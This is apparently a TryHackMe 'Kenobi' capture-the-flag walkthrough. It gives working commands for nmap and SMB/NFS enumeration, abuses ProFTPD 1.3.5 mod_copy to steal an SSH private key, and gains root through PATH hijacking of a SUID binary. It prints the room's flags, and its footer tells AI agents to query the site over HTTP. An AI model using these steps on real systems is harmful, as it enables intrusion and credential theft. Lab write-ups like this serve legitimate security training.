# Kenobi ## Scanning ``` sudo nmap -sS -A -T4 10.10.184.162 -oN initialscan.nmap Starting Nmap 7.60 ( https://nmap.org ) at 2023-03-26 05:54 BST Nmap scan report for ip-10-10-184-162.eu-west-1.compute.internal (10.10.184.162) Host is up (0.00064s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b3:ad:83:41:49:e9:5d:16:8d:3b:0f:05:7b:e2:c0:ae (RSA) | 256 f8:27:7d:64:29:97:e6:f8:65:54:65:22:f7:c8:1d:8a (ECDSA) |_ 256 5a:06:ed:eb:b6:56:7e:4c:01:dd:ea:bc:ba:fa:33:79 (EdDSA) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 1 disallowed entry |_/admin.html |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 47705/tcp mountd | 100005 1,2,3 48332/udp mountd | 100021 1,3,4 39455/tcp nlockmgr | 100021 1,3,4 54592/udp nlockmgr | 100227 2,3 2049/tcp nfs_acl |_ 100227 2,3 2049/udp nfs_acl 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 2049/tcp open nfs_acl 2-3 (RPC #100227) MAC Address: 02:EE:F3:F5:03:59 (Unknown) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.60%E=4%D=3/26%OT=21%CT=1%CU=33751%PV=Y%DS=1%DC=D%G=Y%M=02EEF3%T OS:M=641FD021%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=FB%TI=Z%CI=I%TS=8)S OS:EQ(SP=FB%GCD=1%ISR=FB%TI=Z%CI=I%II=I%TS=8)SEQ(SP=FB%GCD=1%ISR=FB%TI=Z%TS OS:=8)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7% OS:O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF OS:%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40 OS:%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O= OS:%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40% OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q= OS:)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y% OS:DFI=N%T=40%CD=S) Network Distance: 1 hop Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_nbstat: NetBIOS name: KENOBI, NetBIOS user: , NetBIOS MAC: (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: kenobi | NetBIOS computer name: KENOBI\x00 | Domain name: \x00 | FQDN: kenobi |_ System time: 2023-03-25T23:54:52-05:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2023-03-26 05:54:52 |_ start_date: 1600-12-31 23:58:45 TRACEROUTE HOP RTT ADDRESS 1 0.64 ms ip-10-10-184-162.eu-west-1.compute.internal (10.10.184.162) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.85 seconds ``` {% hint style="info" %} **Ports open** 7 {% endhint %} ## Enmerate SMB Shares ### Nmap smb enumeration scripts ``` nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.184.162 ```
### Connect with smbclient to the share ``` smbclient //10.10.184.162/anonymous ``` A file is present log.txt. Used the get command to download it. ``` get \\recursively download files smbget -R smb://10.10.184.162/anonymous ``` log.txt contain important information about ftp and NFS #### ssh key location
#### Anonymous ftp login allowed ####
{% hint style="info" %} **Using the nmap command above, how many shares have been found?** 3 **Once you're connected, list the files on the share. What is the file can you see?** log.txt **What port is FTP running on?** 21 **What mount can we see?** /var {% endhint %} Enumerate RPC Bind ``` nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.184.162 ``` **We have /var directory as mount** ``` Nmap scan report for ip-10-10-184-162.eu-west-1.compute.internal (10.10.184.162) Host is up (0.00017s latency). PORT STATE SERVICE 111/tcp open rpcbind | nfs-ls: Volume /var | access: Read Lookup NoModify NoExtend NoDelete NoExecute | PERMISSION UID GID SIZE TIME FILENAME | rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 . | rwxr-xr-x 0 0 4096 2019-09-04T12:27:33 .. | rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups | rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache | rwxrwxrwt 0 0 4096 2019-09-04T08:43:56 crash | rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local | rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock | rwxrwxr-x 0 108 4096 2019-09-04T10:37:44 log | rwxr-xr-x 0 0 4096 2019-01-29T23:27:41 snap | rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www |_ | nfs-showmount: |_ /var * | nfs-statfs: | Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink |_ /var 9204224.0 1836524.0 6877104.0 22% 16.0T 32000 MAC Address: 02:EE:F3:F5:03:59 (Unknown) ``` ## Gain initial access with ProFtpd search for exploits for proFtpd 1.3.5 ``` searchsploit proftpd 1.3.5 ```
The vulnerable Proftpd 1.3.5 version allows copying of files unauthenticated. copy the ssh key we found earlier to var folder. The mod\_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. ``` SITE CPFR /home/kenobi/.ssh/id_rsa SITE CPTO /var/tmp/id_rsa ```
Now we can mount the /var folder on our machine and get the private key ``` mkdir /mnt/kenobiNFS mount 10.10.184.162:/var /mnt/kenobiNFS ls -la /mnt/kenobiNFS ``` copy the key to current folder and use that to access the machine ``` cp /mnt/kenobiNFS/tmp/id_rsa . chmod 600 id_rsa ssh -i id_rsa kenobi@10.10.184.162 ``` {% hint style="info" %} \ **Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.** **What is the version?** 1.3.5 **How many exploits are there for the ProFTPd running?** 4 **What is Kenobi's user flag (/home/kenobi/user.txt)?** d0b0f3f53b6caa532a83915e19224899 {% endhint %} ## Priv Escalation check for SUID binaries ``` find / -perm -u=s -type f 2>/dev/null ``` we found a suspicious binary
checking the strings, we get to know that the binaries are being called without full path
copy the shell to the current directory and rename it to curl, add permissions to it and add it to PATH ``` which sh cp /bin/sh . \\or echo /bin/sh > ifconfig cp sh ifconfig chmod +xs ifconfig export path = /home/kenobi:$PATH ``` Now run menu and select the option and we will get the root shell. using curl did not work for me {% hint style="info" %} **What file looks particularly out of the ordinary?** /usr/bin/menu **Run the binary, how many options appear?** 3 **What is the root flag (/root/root.txt)?** 177b3cd8562289f37382721c28381f02 {% endhint %} \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ ### Gaining direct shell ``` searchsploit -m 36803.py python2 -m pip install requests \\did not work for me, we may need write permissions for it to work. It also has metasploit version which will not work as well ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://notes.cavementech.com/pentesting-quick-reference/boxes-machines/try-hack-me/kenobi.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.